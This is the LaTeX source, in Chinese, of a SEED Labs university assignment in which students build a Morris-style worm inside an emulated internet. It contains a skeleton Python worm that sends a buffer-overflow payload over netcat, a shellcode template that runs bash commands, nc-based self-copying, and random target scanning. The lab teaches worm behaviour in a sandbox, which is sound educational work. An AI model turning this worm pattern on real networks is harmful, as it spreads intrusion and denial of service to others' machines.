```tex
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% Copyright by Wenliang Du.                                        %%
%% This work is licensed under the Creative Commons                 %%
%% Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%% To view a copy of this license, visit                            %%
%% http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}

\input{\commonfolder/header}
\input{\commonfolder/copyright}
\hypersetup{%
    pdfborder = {0 0 0}
}

\lhead{\bfseries SEED Labs -- Morris Worm Attack}
\newcommand{\wormFigs}{./Figs}


\usepackage{hyperref}

\begin{document}

\begin{center}
{\LARGE Morris Worm Attack Lab}
\end{center}

\seedlabcopyright{2021}

% *******************************************
% SECTION
% ******************************************* 
\section{概述}

莫里斯蠕虫（1988年11月）是通过互联网分发的第一个重要的计算机蠕虫，它首次引起了主流媒体的广泛关注~\cite{wiki:worm}。虽然它很古老，但今天大多数蠕虫所使用的技术仍然是一样的，比如2017年的WannaCry勒索软件。
这些技术包括两个主要部分：攻击和自我复制。攻击部分利用了一个或几个漏洞，使蠕虫能够进入另一台计算机。
自我复制部分则是将自身的一个副本发送到被感染的机器中，并从那里发起攻击。

Spafford 对莫里斯蠕虫进行了详细的分析~\cite{spafford:worm}。

本次实验的目标是通过编写简单的蠕虫并测试它在一个受控环境中（互联网仿真器）的行为来帮助学生更好地理解蠕虫的行为。
尽管这个实验的名称被称为莫里斯蠕虫，但其底层技术非常通用。我们将此技术分解为几个任务，因此学生可以逐步构建蠕虫。
我们已经创建了两个仿真互联网环境，一个较小的和一个较大的。学生可以在每个环境中释放他们的蠕虫，并观察它们如何在整个仿真互联网上蔓延。

本次实验涵盖以下主题：

\begin{itemize}[noitemsep]
    \item 缓冲区溢出攻击
    \item 蠕虫的自我复制和传播行为
    \item SEED 互联网仿真器
    \item 网络工具 
\end{itemize}

\paragraph{先决条件。} 
本实验包括攻击、自我复制和传播三个部分。攻击的部分利用服务器程序中的缓冲区溢出漏洞。
我们建议学生在进行本实验之前，首先完成缓冲区溢出攻击实验室的第1级任务（服务器版本），这样他们可以专注于蠕虫的部分。

\paragraph{实验环境。} 
\seedenvironmentB
\nodependency

此实验适用于 AMD 和 Apple Silicon 机器（M1/M2 芯片），
但这两类机器的实验设置文件不同。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\section{实验设置和 SEED Internet 仿真器}
\label{sec:emulator}

本次实验将在 SEED Internet 仿真器（以下简称仿真器）中进行。如果这是您第一次使用此仿真器，请务必阅读本节。
我们建议讲师提供一个实验室会话来帮助学生熟悉仿真器。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{仿真互联网} 

\input{\commonfolder/emulator/setup.tex}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{仿真的互联网地图} 

\input{\commonfolder/emulator/map.tex}

%\paragraph{注意：} 目前我们仍在积极改进“Map”应用程序，因此在仿真的互联网中未包含该图层。请进入 \texttt{Labsetup/map} 文件夹，运行 \texttt{dcbuild} 和 \texttt{dcup} 命令以构建并启动 Map 容器。然后您可以使用上面提到的 URL 访问 Map。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{过滤和响应}

\input{\commonfolder/emulator/filter_and_replay.tex}




% *******************************************
% SECTION
% *******************************************
\section{任务 1：熟悉实验设置} 

我们提供了两个实验设置，一个包含275个容器（称为迷你互联网），
另一个包含15个容器（称为纳米互联网）。对于最终的任务（任务6），我们将使用较大的那个。其他的则会使用较小的那个，因为它更快地建立起来。
当一切正常后，我们将切换到迷你互联网设置。在本任务中，我们仅启动纳米互联网。关于如何启动迷你互联网的指令将在任务6中给出。

纳米互联网包含三个自治系统（ASes），它们通过单个互联网交换机互连。每个 AS 都有一个内部网络，
其网络前缀为 \texttt{10.X.0.0/24}，其中 \texttt{X} 依次为 \texttt{151, 152, 153}。
每个网络有五个主机，其主机ID范围从 \texttt{71} 到 \texttt{75}。

\begin{figure}[htb]
    \centering
    \includegraphics[width=0.8\textwidth]{\wormFigs/nano-internet.jpg}
    \caption{纳米互联网}
    \label{fig:nano-internet}
\end{figure}

请进入 \texttt{Labsetup/internet-nano} 文件夹（或对Apple Silicon机器使用 \texttt{Labsetup-arm/internet-nano} 文件夹），按照 Section~\ref{sec:emulator} 中的指示启动容器
(即使用 \texttt{dcbuild} 来构建，使用 \texttt{dcup} 来开始)。这将启动纳米互联网仿真器。
一旦仿真器启动，请在浏览器中导航至 \url{http://localhost:8080/map.html}，
您可以看到网络图（参见图\ref{fig:nano-internet})。

在主机容器之一上打开一个终端，在容器中输入 \texttt{"ping 1.2.3.4"}，然后在 Map 的过滤框中输入
\texttt{"icmp and dst 1.2.3.4"}（不带引号；请勿忘记按回车）。运行 \texttt{ping} 命令的机器将闪烁。
我们将使用此机制来可视化哪些主机被蠕虫感染：一旦某个主机被感染，我们便执行 \texttt{"ping 1.2.3.4"}，
因此对应该主机的节点可以在地图上闪烁。

% *******************************************
% SECTION
% *******************************************
\section{任务 2：攻击首个目标} 

在此任务中，我们将重点放在蠕虫的攻击部分。莫里斯蠕虫利用了几个漏洞来进入目标系统，包括 \texttt{fingerd} 网络服务中的缓冲区溢出漏洞、Unix \texttt{sendmail} 程序的调试模式中的漏洞以及用户为远程 shell 设立的信任关系~\cite{wiki:worm,spafford:worm}。
为了简化问题，我们将仅利用缓冲区溢出漏洞。

我们在所有容器上安装了易受攻击的服务器，并且这些服务器都具有缓冲区溢出漏洞。本次任务的目标是利用这一漏洞，
以便能够在服务器上运行恶意代码。攻击部分与 Buffer-Overflow 攻击实验室的第一级任务相同。
因此，如果学生之前已经完成了该实验室，则可以在此处重复使用那里的代码。

我们将不重复本实验的说明。学生可以通过阅读 Buffer-Overflow 实验的设置和攻击指南来了解服务器的配置及有关攻击的指导方针。

首先，我们需要关闭地址随机化。这是一个全局内核参数，
因此一旦从主机上将其关掉，所有容器都将受到影响。
\begin{lstlisting}
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
\end{lstlisting}

仿真器中的非路由器容器均运行相同的服务器。关闭地址随机化后，
所有服务器将具有相同的参数设置，缓冲区的地址和帧指针值在所有容器中保持一致。
这使得攻击更加容易。进行此简化是因为本实验的重点在于蠕虫爬行部分，而不是攻击部分。
攻击部分是 Buffer-Overflow 攻击实验室的主要重点。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{骨架代码} 

我们为实验设置中的 \texttt{worm} 文件夹提供了一个骨架代码。我们将逐步完成该代码，
每个任务都会解决其中的一项内容。在本任务中，我们将专注于完成 \texttt{createBadfile()} 函数，
其功能是生成用于缓冲区溢出攻击的恶意负载。
我们将针对我们的首个目标发起此攻击。
我们可以选择任何主机作为首个目标。在代码中我们已经硬编码了目标 \texttt{10.151.0.71}（行~\lineone）。
学生可以自由更改它。在后续的任务中，我们将会生成目标 IP 地址，而不是将其固定为一个。

为了帮助可视化攻击过程，在蠕虫成功进入受害主机后我们将该程序后台运行一个 ping 命令（参见行~\linetwo）。该命令每隔2秒向一个不存在的机器发送 ICMP 回声消息。
我们的 Map 应用程序在接收到其 ICMP 消息后将点亮节点。这只是可视化受感染主机的一种方式。

\begin{lstlisting}[caption={攻击代码： \texttt{worm.py}}, language=Python] 
shellcode= (
   ... 代码省略（将在后面讨论） ...
).encode('latin-1')


# 查找下一个受害者（返回一个 IP 地址）
def getNextTarget():
    return '10.151.0.71'                                     (*@\lineone@*) 

# 创建恶意负载
def createBadfile():
    ... 代码省略（将在后面讨论） ...


############################################################
print("蠕虫已抵达此主机 ^_^", flush=True)

# 在后台运行 ping 命令 
subprocess.Popen(["ping -q -i2 1.2.3.4"], shell=True)        (*@\linetwo@*) 

# 创建恶意负载
createBadfile() 

while True:
    targetIP = getNextTarget()

    # 向目标主机发送恶意负载（较小的负载）
    # 这是通过利用服务器的漏洞完成的
    # 该命令将在命令退出后阻塞，直到命令结束 
    subprocess.run([f"cat badfile | nc -w3 {targetIP} 9090"], 
                     shell=True, stdin=None, close_fds=True)

    # 在攻击另一个主机之前睡眠1000秒
    # 我们稍后再将其值减小 
    time.sleep(1000) 
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{创建恶意负载} 

让我们首先向目标服务器发送一个良性消息。
以下信息将由目标容器输出（您实际看到的消息可能有所不同）。
这些结果来自 AMD 机器；Apple Silicon 设备的输出相似。

\begin{lstlisting}
// 在主机上 
$ echo hello | nc -w2 10.151.0.71 9090

// 容器中打印的信息
as151h-host_0-10.151.0.71  | 开始栈
as151h-host_0-10.151.0.71  | 输入大小: 6 
as151h-host_0-10.151.0.71  | bof() 中的帧指针 (ebp): 0xffffd5f8  (*@\ding{80}@*)
as151h-host_0-10.151.0.71  | 缓冲区地址 inside bof():    0xffffd588  (*@\ding{80}@*)
as151h-host_0-10.151.0.71  | === 正常返回 ===
\end{lstlisting}

为了简化问题，我们让服务器打印出一些内部参数（参见用 \ding{80} 标记的行）。学生在构造攻击时可以使用这些参数。
特别是他们需要修改 \texttt{createBadfile()} 函数中的行~\lineone 和 行~\linetwo。

\begin{lstlisting}[language=Python]
def createBadfile():
   content = bytearray(0x90 for i in range(500))
   ##################################################################
   # 将 shellcode 放在末尾
   content[500-len(shellcode):] = shellcode

   ret    = 0x00         (*@\lineone@*)  
   offset = 0x00         (*@\linetwo@*) 

   content[offset:offset + 4] = (ret).to_bytes(L,byteorder='little')
   ##################################################################

   # 将二进制代码保存到文件
   with open('badfile', 'wb') as f:
      f.write(content)
\end{lstlisting}

要测试攻击，请直接运行攻击程序 \texttt{worm.py}。它将生成恶意负载，并将其内容发送至目标服务器。
如果您在目标机器上看到一个笑脸被打印出来，那就说明您的攻击成功了，并且注入的代码已经被执行。

\begin{lstlisting}
$ chmod +x worm.py
$ ./worm.py
\end{lstlisting}

\paragraph{实验任务。} 请修改提供的骨架代码 \texttt{worm.py}，
发起针对首个目标的攻击，然后演示您的攻击是否成功。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{Shellcode} 

我们希望在目标服务器上运行的恶意代码称为 shellcode，通常用汇编语言编写，然后再转换为二进制机器码。
在这个实验中，我们仅提供了通用 shellcode 的二进制版本，而不解释其工作原理，
因为这相当复杂。如果学生对 shellcode 恰好如何工作以及如何从零开始编写感兴趣，则可以
通过 SEED 项目中的 \textit{Shellcode Lab} 学习。

提供的 shellcode（如下面所示）执行 \texttt{"/bin/bash -c commands"}，
其中命令由行~\lineone, 行~\linetwo 和 行~\linethree 内的内容决定。
学生可以在这些空间中输入任何他们想要的 shell 命令（命令之间用分号或 \texttt{\&\&} 分隔）。
我们提供了足够大的空间，因为之后的任务可能需要运行很长的一系列命令。

在将命令插入这三行时，请务必不要更改它们的长度，否则 shellcode 可能不会正常工作。 
每行恰好60个字符长（参见第~\linefour 行中的标尺）。当 shellcode 运行时，
行~\linethree 结尾的星号将被二进制零替换以标记命令字符串的结束。
星号的位置已经硬编码在二进制代码中，因此如果命令超过180个字节，则会截断。

\begin{lstlisting}[language=Python]
shellcode= (
   ... 二进制代码省略 ... 
   "/bin/bash*"
   "-c*"
   " echo '(^_^) Shellcode is running (^_^)'; echo              "  (*@\lineone@*)
   "                                                            "  (*@\linetwo@*) 
   "                                                           *"  (*@\linethree@*) 
   "123456789012345678901234567890123456789012345678901234567890"  (*@\linefour@*) 
   # 行上面的标尺用于指示位置；该行未由 shellcode 使用。
).encode('latin-1')
\end{lstlisting}

此 shellcode 的汇编代码存放在 \texttt{Labsetup/shellcode} 文件夹中。对 shellcode 感兴趣的学生可以修改那里提供的代码。
关于如何编写 shellcode 的详细说明可以在名为 \textit{Shellcode Development Lab} 的单独 SEED 实验课程中找到。

% *******************************************
% SECTION
% *******************************************
\section{任务 3：自我复制}

如果恶意程序能够自动从一个地方传播到另一个地方，则可以称为蠕虫。
要做到这一点，蠕虫必须能够在一台机器上复制自己并发送至另一台机器。这就是本任务的中心主题——自我复制。
蠕虫实现自我复制通常使用两种常见的策略。

\begin{itemize}
  \item 方法1：将所有代码包含在恶意负载中（即 shellcode）。使用这种方法，
    自我复制部分需要包括在 shellcode 中。由于 shellcode 经常使用汇编语言编写，
    实现复杂的功能可能会相当具有挑战性。
  
  \item 方法2：将攻击代码分为两部分，一个小的载荷包含简单的引导程序代码，
    另一个较大的载荷包含更复杂的代码。引导程序是包含在缓冲区溢出攻击中恶意负载中的 shellcode。
    成功攻击并运行目标上的 shell 后，它可以通过 shell 命令从攻击者机器下载更大的载荷来完成自我复制。
    更复杂的程序可以用任何语言编写，如 C、Python 或 shell 脚本。
\end{itemize}

莫里斯蠕虫使用第二种方法。我们鼓励学生尝试这两种方法中的任意一种，
但仅需要完成其中一种即可。教师可以酌情为同时实现两种方法的学生加分，所以请与您的讲师确认。

要使用第二种方法，我们需要找到从一台计算机向另一台计算机发送文件的方法。
有许多方法可以做到这一点，并鼓励学生探索并自行解决。
蠕虫不应该从中央位置下载文件（如网站），因为这会为蠕虫造成单一的失败点；一旦关闭这个中心位置，
蠕虫将停止爬行。通常，蠕虫会从其直接前驱获取所需的文件。换句话说，如果蠕虫从 A 爬到 B，然后再从 B 到 C，
当它抵达 C 后，只需复制 C 中的文件即可。

要获取另一台计算机上的文件，我们需要一个客户端和服务器程序。在我们的仿真器中已经安装了许多这种客户/服务器程序。
学生可以选择在主机上使用可用的任何程序。以下是如何使用 \texttt{nc}（或 \texttt{netcat}）命令来下载文件的方法，
它可以用来启动 TCP 客户端和服务端。

在下面的例子中，我们首先在一个计算机上启动了服务，并在另一个计算机上启动了客户端。
服务器从 \texttt{myfile} 获取其输入并将其发送给客户端。客户端将接收到的任何内容保存到名为 \texttt{myfile} 的文件中。
这样就完成了文件传输。

\begin{lstlisting}
// 服务端提供文件
$ nc -lnv 8080 < myfile

// 客户端从服务端获取文件
$ nc -w5 <server_ip> 8080 > myfile
\end{lstlisting}

通常，我们先启动服务器，然后运行客户端程序。但是也可以在先启动客户端的情况下再运行服务器。
只需使用 \texttt{-w5} 选项即可实现这一点。 
这个选项使客户端尝试与服务器建立连接达 5 秒钟。只要在此时间窗口内可以启动服务器，
连接就会成功。

上述示例中，服务端向客户端发送文件。我们也可以反方向操作，即客户端向服务端发送文件。

\begin{lstlisting}
// 服务端从客户端获取文件
$ nc -lnv 8080 > myfile

// 客户端提供文件
$ cat myfile | nc -w5 <server_ip> 8080
\end{lstlisting}

\paragraph{实验任务。} 
向您的蠕虫添加自我复制功能，因此当缓冲区溢出攻击成功后，
在受害机上复制 \texttt{worm.py} 的副本。您可以在受害容器中获得 shell 并检查是否创建了副本。

%\paragraph{问题 1：客户端到服务器还是服务端到客户端哪种更好？请解释。}

%\paragraph{问题 2：有人提议使用 \texttt{wget} 从公共服务器下载。请评论。}

%\paragraph{问题 3：有人提议使用 \texttt{scp} 复制文件。有哪些挑战？}


% *******************************************
% SECTION
% *******************************************
\section{任务 4：传播} 

完成前面的任务后，我们可以让蠕虫爬行到我们计算机上的第一个目标，
但蠕虫不会继续爬行。学生需要修改 \texttt{worm.py}，
以便在它到达新感染的机器后能够继续进行爬行。

\texttt{worm.py} 中有多个地方需要更改。
其中的一个是 \texttt{getNextTarget()} 函数，该函数硬编码了下一个目标的 IP 地址。 
我们希望这个目标地址是一个新的机器。莫里斯蠕虫使用多种策略来找到下一个攻击候选者，
为了简化问题，学生只需随机生成一个 IP 地址即可。
为减小攻击时间，在以下提供的先行知识（故意模糊化）可以帮助学生在生成下一个目标的 IP 地址时使用：

\begin{quote}
    仿真器中所有主机的 IP 地址具有以下模式： \texttt{10.X.0.Y}，其中 X 的范围从 151 到 155，
    Y 的范围从 70 到 80。 
\end{quote}

\paragraph{生成随机数。}
在 Python 中生成随机数非常简单。
下面的代码给出了一个示例：它生成一个介于 100 和 200 之间的随机整数。

\begin{lstlisting}[language=Python]
from random import randint

number = randint(100, 200)
\end{lstlisting}

\paragraph{测试某个机器是否存活。}
在攻击一个随机选择的目标之前，最好先检查该目标是否存活。
有许多方法可以实现这一点。
一种方法是使用 \texttt{ping} 命令向目标发送回声请求并检查
目标是否已经回复了回声。
%如果 \texttt{ping} 接收到回复包，
%它会退出，并返回代码 0（有回复）；否则，它会返回代码 1（没有回复）
%或代码 2（出错）。 

在下面的代码片段中，我们向目标 \texttt{1.2.3.4} 发送一个 ping 包 (\texttt{-c1})，
等待一秒钟 (\texttt{-W1}) 接收回声，并检查命令输出是否包含 \texttt{"1 received"} 以表明已经接收到回复。

%\begin{lstlisting}
%ret = subprocess.run(["ping -q -c1 -W1 1.2.3.4"], shell=True)
%if ret.returncode == 0:
%    print("alive")
%else:
%    print("error or not alive")
%\end{lstlisting}

\begin{lstlisting}[language=Python]
ipaddr = '1.2.3.4'
output = subprocess.check_output(f"ping -q -c1 -W1 {ipaddr}", shell=True)
result = output.find(b'1 received')

if result == -1:
   print(f"{ipaddr} is not alive", flush=True)
else:
   print(f"*** {ipaddr} is alive, launch the attack", flush=True)
\end{lstlisting}

%\begin{itemize}
%  \item 随机方法
%  \item 更高级的方法：使用主机信息（如 ARP 缓存等）来查找候选目标。这可以作为附加任务。
%\end{itemize}

\paragraph{实验任务。} 
完成此步骤后，学生需要演示他们的蠕虫能够从一台计算机传播到另一台，并最终覆盖整个纳米互联网。在初始攻击中，
您只应在其中一个节点上释放蠕虫，而不是继续从您的攻击机器对其他节点进行攻击。我们希望蠕虫能够在自动模式下攻击其他节点。

让攻击继续一段时间并密切关注 CPU 和内存的使用情况。一旦 CPU 使用率达到 100%，请关闭纳米互联网（使用 \texttt{dcdown} 或
\texttt{"docker-compose down"}）。如果您等待太长时间，您的虚拟机可能会冻结，即您成功地将网络摧毁了。

您可以使用 \texttt{htop} 命令观察资源的使用情况。如果您的机器上没有此命令，
可以使用以下命令轻松安装它：

\begin{lstlisting}
$ sudo apt update && sudo apt install htop
\end{lstlisting}

% *******************************************
% SECTION
% *******************************************
\section{任务 5：防止自我感染} 

人们认为莫里斯蠕虫并不打算对目标计算机造成真正的危害，但其代码中的一个错误导致了
针对目标的拒绝服务攻击。主要原因在于蠕虫未能防止自身感染。
一旦一台计算机被感染，
它将在单独的一个进程中运行一个新的实例。如果这台计算机再次被感染，则会启动另一个新的蠕虫实例运行。
如果没有机制检查该计算机是否已经被感染，那么许多新的蠕虫实例将会生成并消耗越来越多的资源，最终
使目标机器崩溃或在很多情况下直接崩溃。
莫里斯蠕虫确实有一个检测机制，但代码中存在一个错误。

在这个任务中，学生需要向其蠕虫代码添加此类检测机制以确保仅在一个被感染的计算机上运行一个实例。
一旦实现了这一点，在攻击过程中 CPU 使用率将不太可能达到 100%。请在您的实验报告中提供证据。


%\begin{itemize}
%  \item 简单方法：创建文件夹或文件。免疫相对容易实现。
%  \item 如何使免疫更困难？作为附加任务，研究不同蠕虫的机制。 
%\end{itemize}

% 跳过这个部分用于赎金软件
\begin{comment}
% *******************************************
% SECTION
% *******************************************
\section{任务 6：实施终止开关} 

一些蠕虫具有终止开关，因此如果启用了终止开关，则蠕虫将停止感染其他计算机。
这是一个全局开关，并赋予攻击者在何时停止攻击的控制权。 
莫里斯蠕虫没有这样的终止开关，
但最近的蠕虫确实有这种功能，如 WannaCry 赎金软件技术上属于蠕虫，该程序试图连接到未注册的域名。 
如果连接失败，则继续感染；
如果连接成功，程序将停止攻击。

...
\end{comment}

% *******************************************
% SECTION
% *******************************************
\section{任务 6：在迷你互联网中释放蠕虫} 

在这个任务中，我们将切换到一个较大的 Internet，即迷你 Internet。
这个任务更多的是为了增强体验，因为看到蠕虫在一个更现实的仿真 Internet 中传播更为令人满意。

对于此设置，至少需要为虚拟机配备8GB 的 RAM 和2个内核；否则，仿真器将非常慢。请从 VirtualBox 中进入您的虚拟机设置，
并相应地进行更改（在修改这些设置之前，请先关闭虚拟机）。

\paragraph{学生和讲师注意：} 如果学生的机器不够强大，他们应该与他们的讲师讨论以找到替代方案，例如使用公共计算机或云服务。
在纽约雪城大学的我们的课程中就遇到了这种情况。我们只是要求这些少数学生提交代码，
我们的助教或讲师将测试攻击代码并观察结果。学生仍然可以使用纳米 Internet 设置进行初步测试。

如果学生的计算机不够强大不应受到惩罚。
教师也可以选择将此任务设置为可选的任务，因为这并不是关键内容；
其主要目的是提供更高级的体验（这样做比在纳米互联网中执行更多有趣）。



% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{启动迷你 Internet 仿真器}

此仿真器的容器文件存储于实验设置中的 \texttt{internet-mini} 文件夹。请进入该文件夹，并运行以下命令来构建并启动容器。

\begin{lstlisting}
// 对 AMD 机器 
$ dcbuild        # 别名是 "docker-compose build"  
$ ./z_start.sh   // 按批启动容器（每次10个）

// 对 Apple Silicon 机器
$ ./z_build.sh   // 分批构建镜像（每批10或20个）
$ dcup           // 别名是 "docker compose up"
\end{lstlisting}

由于 \texttt{docker-compose} 程序中的一个 bug，
使用 \texttt{"docker-compose up"} 命令同时启动 200 多个容器将失败。
我们使用 \texttt{z\_start.sh} 命令逐批启动容器（每次10个）来避免此问题。请勿在 \texttt{internet-mini/} 文件夹中添加任何文件或文件夹，
否则命令会失败。
如果需要向该文件夹中添加文件/文件夹，可以修改 \texttt{z\_start.sh} 中的 \texttt{grep} 命令以排除它们。 
一旦仿真器运行起来，我们可以通过浏览器看到其网络（参见图~\ref{fig:mini-internet}）。

在使用 Ubuntu 22.04 的 Apple Silicon 机器上，
命令变更为 \texttt{"docker compose"} 而非 \texttt{"docker-compose"}。该 bug 已被修复，因此可以直接
使用 \texttt{"docker compose up"} 启动所有容器，但由于使用 \texttt{"docker compose build"} 建立镜像存在问题。
我们需要以每批 10（或20）个的方式构建镜像来避免这个问题，这就是为什么 Apple Silicon 设备上需要使用 \texttt{z\_build.sh}。

使用 \texttt{./z\_start.sh} 启动容器时，必须在分离模式下启动这些容器（\texttt{-d} 选项的目的）。因此我们无法看到每个容器的输出日志。
要查看日志，请使用以下命令（按 Ctrl-c 可退出而不停止容器）：

\begin{lstlisting}
$ docker logs -f <container ID>
\end{lstlisting}

由于容器数量庞大，通过 Map 与容器交互相对缓慢。最好直接使用 Docker 命令来与这些容器进行交互。
列出 AS-153 自治系统中的所有容器的命令如下。为了方便，我们将在容器名中包含自治系统编号和 IP 地址。

\begin{lstlisting}
$ dockps | grep as153
9869c5085bf7  as153h-host_0-10.153.0.71
843a920c60f5  as153h-host_10-10.153.0.81
286d97c102dc  as153h-host_1-10.153.0.72
...
\end{lstlisting}

\begin{figure}[htb]
    \centering
    \includegraphics[width=0.5\textwidth]{\wormFigs/mini-internet.jpg}
    \caption{迷你互联网}
    \label{fig:mini-internet}
\end{figure}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{发起攻击} 

用于纳米互联网的攻击代码可以直接在迷你互联网中工作，
尽管学生可能需要更改其随机数生成器以覆盖更大范围内的 IP 地址。
以下事实可以使用：

\begin{quote}
    仿真器中所有主机的 IP 地址具有以下模式： \texttt{10.X.0.Y}，其中 X 的范围从
    150 到 180，
    Y 的范围从 70 到 100。  
\end{quote}

\textbf{您应该仅在一个节点上释放蠕虫，而不是继续攻击其他节点。}
蠕虫应能够自动地在互联网中传播。确实需要提供证据来证明这一点。

通过在过滤框中输入 \texttt{"icmp and dst 1.2.3.4"} 可以可视化哪些机器被感染了蠕虫。
如果一切实现正确，传播率将呈指数增长。
在 YouTube 上可以找到攻击的演示视频：\href{https://youtu.be/2VZV-aFoVjk}{点击此链接}。

对于此任务，学生应录制一个简短的演示视频，类似提供的样本视频。在演示期间，
地图应该用来可视化蠕虫的传播情况。
请提交此视频（除非导师另有指示）。

% *******************************************
% SECTION
% ******************************************* 
\section{提交}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

对于任务6，如说明中所述，
还应提交一个简短演示视频。

% *******************************************
% SECTION
% *******************************************
\section*{致谢} 

本实验是在纽约雪城大学 2021 年秋季的 \textit{计算机安全（CSE643）} 课程中，与几位学生合作开发的。
SEED 项目得到了美国国家科学基金会和纽约雪城大学的部分资助。

% *******************************************
% SECTION
% *******************************************
\begin{thebibliography}{90}

\bibitem{wiki:worm}
Wikipedia contributors, ``Morris worm --- Wikipedia, The Free Encyclopedia'', 
\url{https://en.wikipedia.org/w/index.php?title=Morris_worm&oldid=1059312237}

\bibitem{spafford:worm}
Spafford, Eugene, ``An analysis of the worm'', December 8, 1988, Purdue University. 
\end{thebibliography}

\end{document}
```